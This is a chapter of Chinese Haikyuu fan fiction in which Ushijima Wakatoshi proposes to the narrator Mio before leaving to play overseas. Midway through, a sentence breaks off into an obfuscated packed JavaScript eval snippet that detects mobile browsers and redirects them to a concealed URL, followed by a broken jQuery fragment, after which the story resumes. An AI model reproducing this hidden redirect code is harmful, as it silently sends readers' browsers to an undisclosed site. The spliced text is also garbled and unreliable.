21.分开旅行
作品:《[排球]病急乱投医》 真奇怪。
我的拖延症好像又犯了。
明明一开始我以为很快就会结束的,但和牛岛若利交往的日子在一天天地往后延长。
从顺势的交往,到一个月,两个月,半年,一年,几度四季更迭,他像候鸟,时不时往外飞去参加比赛,却还是会回来。
而我也在习惯这一点,就像又一次犯病。
有时候感觉他来我家比回自己家还轻车熟路。
——虽然时常见到确实也不赖啦。
八月份奥运会刚刚落下帷幕。
我看着他在我家厨房做我们的午饭,从橱柜上层拿出了我都没有见过的调料。
我没什么料理天赋,做的东西只能说——能吃,能维持生存体征,这还是大学自己住时不得不点上的技能,相比之下,对饮食有一定需求的职业运动员在这块比我更讲究也更会做一些。
他也没有要求我为他去学,但他做好的饭总有我一份。
感觉曾经正直的牛岛若利同学也越来越会了……
穿着围裙的运动员在做饭的时候,身上的肌肉也是毫不吝啬地照顾到了我的眼睛。
要是录下来放网上应该会很受欢迎吧……?谁能拒绝这种反差呢。
我欣赏了好一会,叫他。
“若利。”
他应了一声:“饿了吗?很快就做好了。”
我不是想说这个,虽然时机不太对,但就是心血来潮想要说出来:“我打算回宫城了。”
牛岛若利反应了两秒,停下了手中的动作看着我。
“要回去?”
我点了点头。
大学毕业后,我留在了东京,而他回了仙台,毕竟AD的本部就在那里,他训练之类的都更加方便一些。
这么一算,我们也已经异地很久了。
“是因为我吗?”
“不是因为你哦。”我下意识否认,“我家老头子喊我回去。”
说我毕业后在东京也累积了四年工作经验,也该回去了什么的。简而言之,就是我要回去搞祖业了。
他一直盯着我,我败下阵来:“……也不是完全没有你的原因。”
“我知道。”
“……”那你还要问!
他把装盘之类的收尾工作做好,我们的谈话地点转移到了桌上。
“我也有想要跟你说的事。”
当他说打算去国外发展时,我的心里只是想着“来了”。
我们俩面对着面,谁都没有先开口。
人在年少时,总觉得爱应当是第一顺位,相爱应当打败全世界,不甘心自己屈居第二选择。
可实际上人生不仅仅只有恋爱这一桩大事。
“我不会出国的,我在这里也有要做的事情,所以,”我问他,也是在问我自己, “打算要怎么做?”
十八岁的我过分执着于这一点所以没有问出这一句话。
马上二十六岁的我可以把这件事作为人生的一个分界线把它摊开来探讨。
和职业运动员交往的这几年,我已经习惯他时不时的外出。
但去国外的俱乐部和之前那些短期的出行并不一样。
顶尖的运动员寻求去更大的舞台发展,而我也会有稳定的工作,他不可能放弃自己的职业生涯来迁就我,我也不想抛下一切去追逐他。
好像我一直做好了在某一天牛岛会离我而去的准备。
而现在,这一天摆在了眼前。
心跳得有些快。
也许是该我自己来决定,可几年前我答应和他交往时,就总有预料会有这么一天。
现在的我,有点想听一听他会给我揭晓我当初那个选择会有什么答案。
牛岛若利是个藏不住话的人。
除了头发变得短了一些,这几年在他身上发生的变化很小,一时间我也不知道二十岁的牛岛若利和二十六岁的牛岛若利有什么不同。
他的眼眸如第一次见到他时那样剔透,里面有我不想看见的歉意。
“抱歉,我知道这样做有些自私……”
糟糕,有点想哭。
不可以哭出来。
就算是分手也应该体面一点。
视线变得有些模糊,我有点看不清对面的人的表情了。
……好想消失啊。
我好像要用尽全身的力气才能不让眼泪掉下来,完全说不出话来。
牛岛若利还在说话:“也许我应该大度一些,但是我做不到放手。”
他到底在说什么。
“我不想和你分开。你愿意等我几年吗?”
到底……
他俯身过来,推过来了一个什么东西,我听到他在问我:
“澪,你愿意嫁给我吗?”
什——
什么?!
我目瞪口呆。
而牛岛若利又重复了一遍。
我想过分开,或者不分开,可没有想到他居然会直接在这个时间点求婚。
结婚。
即使已经交往好几年了,可我没有想过这件事。
我感觉自己还没有做好这种准备。
他还在等我的回应。
我好像终于找回了说话的开关。
“……太过分了,牛岛若利。”
我说。
“没有玫瑰,没有下跪,你就这么求婚吗?”
牛岛若利手忙脚乱,一边扯纸巾一边绕过来把我搂进怀里。
“是我不好,你别哭。抱歉。”
“讨厌,讨厌你!”
我的泪腺好像坏掉了,不停地在往下掉眼泪。
“都怪你切了洋葱!”
我的脑子乱七八糟的,大脑和心脏都在突突乱跳,完全不知道自己在说什么,总之——甩锅!甩锅就对了!
他也不敢反驳说自己根本没用到洋葱,结实的手臂圈着我帮我顺气,好像在哄小孩。
我还泄愤在他手臂上咬了一口。
牛岛若利还在乖乖道歉。
那种莫名的焦躁被他的怀抱所抚平,视线重新变得明晰起来,我盯着桌角没人顾上的红色丝绒盒子,里面的戒指安安稳稳地伫立在盒中,顶端镶嵌的钻石流转着光芒,像少女的梦境。
但我不想仅凭冲动就决定这件人生大事。
“结婚太早了……”
“只是订婚的话……”
他的体温炙烤着我,手臂又收紧了些许,声音却放轻了些。
胸腔内外的声音带来他的回复:“好。”
“若利。”
“我在。”
“……没什么事,我只是想叫叫你。”
“嗯,我在这里。”
他抱着我不愿意松开,直到我呼吸平复才放开已经被他的体温烫地有些微汗的我。
他拿起那个盒子,问我:
“可以让我为你戴上它吗?”
我伸出手。
牛岛若利这时候才找回了些许仪式感。
他单膝跪在地上,右手托着我的左手,左手捏着戒指往前送。
一直安稳的强力接应那双手在轻微的颤抖,明明是惯用手,左手的动作却试了两次才找准位置,那个小环好像下一秒就会从他指尖消失,但没有。我看着那个银色的闪亮小圈套住了我左手的无名指。
牛岛若利好像这个时候才敢呼吸,盯着我的手指看了一会,在指环上落下了一个吻。
我跟着看了会,小声嘟囔了一句:“尺寸怎么这么合适……”
我还以为按照牛岛若利的性格会忘记这种细节,仓促之间的戒指会或大或小,都想着要是不行就挂起来了,没想到正正好好。
“以前……在你睡着时量的。”
以前?
原来是定做的吗?
我忍不住追问了句:“什么时候?”
不会撒谎的牛岛若利视线飞了一会,显然这件事说出来有点像什么痴汉:“很多次。”
诶?!
有这种心思却完全没有露出来过?
我本能地想要知道地多一些:“最早呢?”
“……毕业的时候。”
我:“……”
得亏那时候他没有这么做。
我会拒绝的!绝对会拒绝的!
我抬头盯着那张写着“正人君子”的脸,伸手捏了捏:“蓄谋已久?”
“是,我等这一天很久了。”
他垂头看我:“我想告诉你,我不是因为一时冲动就做了这个决定,澪。我很抱歉没办法一直呆在你的身边陪着你,但是,我还是想让你留在我的身旁。”
也许一开始这个念头确实是突然冒出来,可后来,经历了毕业异地聚少离多等等一系列变化,这个念头却一直都存在。
他就知道自己并不是因为冲动,虽然牛岛若利本来就是个很少会因为冲动做事的人。
而要成家立业,就得考虑更多的事情。
自己的职业生涯,和俱乐部签约
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680972|155981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
费用,身体的维护成本,未来小家的资金等等等等,他得出了结论,他还要往上。
也许人生就是这样,明明是在想着要在一起,却还是不得不做下分开旅行的决定。
真是矛盾啊。
他说自己自私,因为自己决定要往国外远行时,想要求婚在一起的念头就越发浓烈。
在奥运比赛开始前,他先去了店里定好了求婚的戒指。
不知道会不会成功,但他必须尝试。
如果分开,他将和其他人一样重回起跑线。
可他规划的每一步都有着她,又怎么能忍受真的失去她。
“没关系。”
我躺在宽阔的怀里找了个舒服点的位置,说:“我也有自己要做的事情。”
我是独生女,家里的担子还是会落在我身上。
但是如果要结婚……我恍惚了一下:“不过家里会很麻烦吧?”
恋爱只是两个人的事情,可结婚不是。
他也是独生子,家大业大好像也挺传统的,而我家也更倾向于让我找个能入赘的丈夫。
他亲了亲我的脸:“没有很麻烦。你不用放弃自己的事业,不改姓也没有关系。我母亲并没有那么不通人情。”
他确实有考虑过。
而幸运的是,他家并不是完全传统保守的家庭,不然也许他都没有成为职业排球运动员的可能,只能说,家里对他的爱超过其他。
不知道为什么,听他这么说后,我也不怎么担心了。
“算了,先不想了。”
我家好像也差不多。
何况我们还只是私下订婚罢了。
我还不是很习惯手上骤然多出来的份量,忍不住盯着戒指看了又看:“有点夸张,感觉没办法日常戴着。”
我记得这个牌子还挺贵的,还是这样的大小,总感觉一直戴着会略显浮夸。
牛岛:“……”
直男审美,只考虑怎么才能表达隆重又被销售一忽悠的男人说不出话。
我盯着他的手指看:“我是不是也该给你套个圈?”
……咦不对不对,这好像是结婚才该考虑的事?
“如果你愿意的话……”他好像有点期待,但也有一点点顾虑,担心我会介意:“不过训练和比赛的时候我没办法戴着。”
“那下午去店里看一看吧。”我很快想好,两个戒指也不一定是婚戒,也可以说是情侣戒指嘛,而且又不是对戒。
“再挑一下链子,一起当项链?”
“好。”
“决定好去哪个俱乐部了吗?打算什么时候去?”
“只是有初步的想法,还要再研究一下。”
“哦。”我捏着他的手指玩。
去多久这个也不好说,毕竟除非是真的退役,不然运动员和俱乐部续签之类的也很常见。
而按照牛岛若利的体能,只要没有什么伤病,退役大概至少还要十年。
我捏了捏他无名指的根部:“说不定,过段时间我也可以是你的投资人呢。”
他也不反驳:“你会做好的。”
不知道哪来的盲目信心。
“还吃饭吗?”
我不太确定:“……吃吧?”
虽然心情大起大落没什么饥饿感,但为了身体健康还是得吃的吧?
门铃响了起来。
他放开我:“我去看看。”
回来的时候,牛岛若利手上捧着一束数量夸张的红玫瑰,浓烈的红色,这捧花大到连他都差点捧不住。
他对我说:“是订的花到了。”
原来真的还订了花啊?
他抿着唇,少见地有点懊恼:“我不该现在说出国的事情,本来是打算晚上的时候好好求婚的。但是看到你哭……”
他就乱了心神,慌慌张张地去找戒指,本来的想好的计划完全被破坏了,最后这个求婚变得仓促无比,什么红玫瑰烛光都没有用上。
牛岛若利走了过来,单膝把花递过来,一脸认真地凝视着我:“现在,我想再说一次。”
他说:
“我会尽我所能让你快乐的。”
“我爱你,澪。”
他对我下了咒语。
我又要哭了。
在此之前,我们都不轻易说出“爱”这个字,但在此刻,恐怕也没有其他词比之更贴切。
我扑进他的怀里。
“我也爱你。”
自己的回应好像完全听不清了。